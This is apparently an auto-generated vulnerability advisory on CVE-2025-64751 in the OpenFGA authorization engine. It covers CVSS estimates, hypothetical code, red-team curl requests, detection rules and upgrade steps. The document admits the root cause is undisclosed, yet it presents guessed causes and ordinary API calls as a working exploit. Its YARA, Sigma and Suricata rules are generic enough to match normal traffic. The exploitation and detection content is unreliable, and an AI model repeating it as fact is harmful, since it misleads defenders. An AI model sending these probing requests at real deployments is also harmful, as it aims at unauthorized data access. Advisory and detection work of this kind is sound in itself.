CVE-2025-64751

Executive Summary

CVE-2025-64751 is a vulnerability in OpenFGA, a high-performance authorization/permission engine inspired by Google Zanzibar. The flaw affects versions 1.4.0 through 1.11.0 and allows improper policy enforcement when certain Check and ListObjects API calls are executed. This can lead to unauthorized access to resources that should be denied by the configured authorization model. The vulnerability has been patched in version 1.11.1.

Supply Chain & Package Security

OpenFGA is a Go-based project distributed as a Docker image and a Helm chart for Kubernetes. The vulnerability affects the core authorization engine, meaning any deployment using the affected versions is at risk. Organizations should verify their deployment version and update immediately. The official Docker images are available on Docker Hub (openfga/openfga), and the Helm chart is available in the OpenFGA repository.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the nature of the vulnerability (improper policy enforcement), a reasonable estimated CVSS vector would be:

• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely via API calls.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - An attacker needs valid credentials to make API calls.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Unchanged (U) - The vulnerability does not cross a trust boundary.
• Confidentiality (C): High (H) - Unauthorized access to sensitive data is possible.
• Integrity (I): High (H) - Unauthorized modification of data is possible.
• Availability (A): None (N) - The vulnerability does not affect availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N Estimated Base Score: 8.1 (High)

Threat Level: High. The vulnerability allows bypassing authorization checks, potentially exposing sensitive data or allowing unauthorized actions.

Deep Dive & Mechanics

OpenFGA implements a relationship-based access control (ReBAC) model. The core of the system is the Check API, which determines if a user has a specific relationship with an object (e.g., user:alice has reader relationship with document:123). The ListObjects API returns all objects a user has a specific relationship with.

The vulnerability lies in the improper enforcement of policy during certain Check and ListObjects calls. Specifically, when the authorization model contains complex conditions or nested relationships, the evaluation logic may incorrectly return a true (allowed) result when it should return false (denied). This can happen due to:

1. Incorrect handling of but not conditions: The but not operator in OpenFGA allows for exclusionary rules. A flaw in the evaluation of these conditions could lead to bypasses.
2. Race conditions in concurrent evaluations: In multi-threaded environments, the state of the authorization model might be read inconsistently.
3. Edge cases in recursive relationship resolution: When a relationship is defined recursively (e.g., manager of a manager), the resolution logic might terminate prematurely or incorrectly.

The exact root cause is not publicly disclosed, but the patch in v1.11.1 addresses the underlying logic flaw.

Vulnerable vs. Patched Code

The specific code change is not publicly available, but the fix is in the core evaluation logic. A hypothetical vulnerable code snippet might look like:

// Vulnerable (v1.4.0 - v1.11.0)
func checkRelationship(user, relation, object string) bool {
    // ... some logic ...
    if relation == "reader" && object == "document:123" {
        // Incorrectly returns true even if a 'but not' condition is met
        return true
    }
    // ... more logic ...
    return false
}

The patched version would include proper evaluation of all conditions:

// Patched (v1.11.1)
func checkRelationship(user, relation, object string) bool {
    // ... some logic ...
    if relation == "reader" && object == "document:123" {
        // Check for 'but not' conditions
        if hasButNotCondition(user, relation, object) {
            return false
        }
        return true
    }
    // ... more logic ...
    return false
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an OpenFGA instance (v1.4.0 to v1.11.0).
• Valid API token or credentials.
• Knowledge of the authorization model.

Exploitation Steps:

1. Identify the Authorization Model: Use the ReadAuthorizationModels API to understand the model.

   curl -X GET "http://target:8080/authorization-models" \
     -H "Authorization: Bearer <token>"
   

2. Craft a Malicious Check Request: Send a Check request that should be denied but is incorrectly allowed.

   {
     "tuple_key": {
       "user": "user:attacker",
       "relation": "reader",
       "object": "document:secret"
     },
     "contextual_tuples": {
       "tuple_keys": [
         {
           "user": "user:attacker",
           "relation": "member",
           "object": "group:admins"
         }
       ]
     }
   }
   

   curl -X POST "http://target:8080/check" \
     -H "Authorization: Bearer <token>" \
     -H "Content-Type: application/json" \
     -d '{"tuple_key": {"user": "user:attacker", "relation": "reader", "object": "document:secret"}, "contextual_tuples": {"tuple_keys": [{"user": "user:attacker", "relation": "member", "object": "group:admins"}]}}'
   

3. Exploit ListObjects: Use ListObjects to enumerate accessible objects.

   {
     "user": "user:attacker",
     "relation": "reader",
     "type": "document"
   }
   

   curl -X POST "http://target:8080/list-objects" \
     -H "Authorization: Bearer <token>" \
     -H "Content-Type: application/json" \
     -d '{"user": "user:attacker", "relation": "reader", "type": "document"}'
   

Blue Team

Detection:

• Monitor for unusual Check and ListObjects API calls, especially those with unexpected contextual_tuples.
• Look for patterns where a user is granted access to objects they should not have access to.
• Use the detection rules provided in the Detection Engineering section.

Mitigation:

• Immediately upgrade to OpenFGA v1.11.1.
• If upgrade is not possible, restrict API access to trusted clients only.
• Implement additional logging and monitoring for authorization decisions.

Indicators of Compromise (IOCs)

• Network:
  • Unusual POST requests to /check or /list-objects endpoints with unexpected contextual_tuples.
  • High volume of Check API calls from a single user.
• Logs:
  • Authorization decisions that contradict the expected policy.
  • Errors related to relationship resolution in OpenFGA logs.
• System:
  • Unauthorized access to protected resources.
  • Changes to authorization models by unauthorized users.

Detection Engineering

YARA Rule

rule CVE_2025_64751_OpenFGA_Check_Bypass {
    meta:
        description = "Detects potential exploitation of CVE-2025-64751 in OpenFGA Check API calls"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64751"
        hash = "unknown"
    strings:
        $check_endpoint = "/check"
        $list_objects_endpoint = "/list-objects"
        $contextual_tuples = "contextual_tuples"
        $tuple_key = "tuple_key"
    condition:
        any of ($check_endpoint, $list_objects_endpoint) and
        any of ($contextual_tuples, $tuple_key)
}

Sigma Rule

title: OpenFGA CVE-2025-64751 Check Bypass
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2025-64751 in OpenFGA
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-64751
logsource:
    category: application
    product: openfga
detection:
    selection:
        http.method: POST
        http.url:
            - "/check"
            - "/list-objects"
    condition: selection
falsepositives:
    - Legitimate API calls
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-64751 OpenFGA Check Bypass Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/check"; http.client_body; content:"contextual_tuples"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade OpenFGA: Update to version 1.11.1 or later.
   • Docker: docker pull openfga/openfga:v1.11.1
   • Helm: helm upgrade openfga openfga/openfga --version openfga-0.2.49
2. Restrict API Access: Use network policies or API gateways to limit access to trusted clients.
3. Review Authorization Models: Audit existing models for potential bypass scenarios.

Long-Term Measures:

• Implement continuous monitoring of authorization decisions.
• Conduct regular security audits of the OpenFGA configuration.
• Subscribe to OpenFGA security advisories.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For further analysis, contact threatintel@valters.it.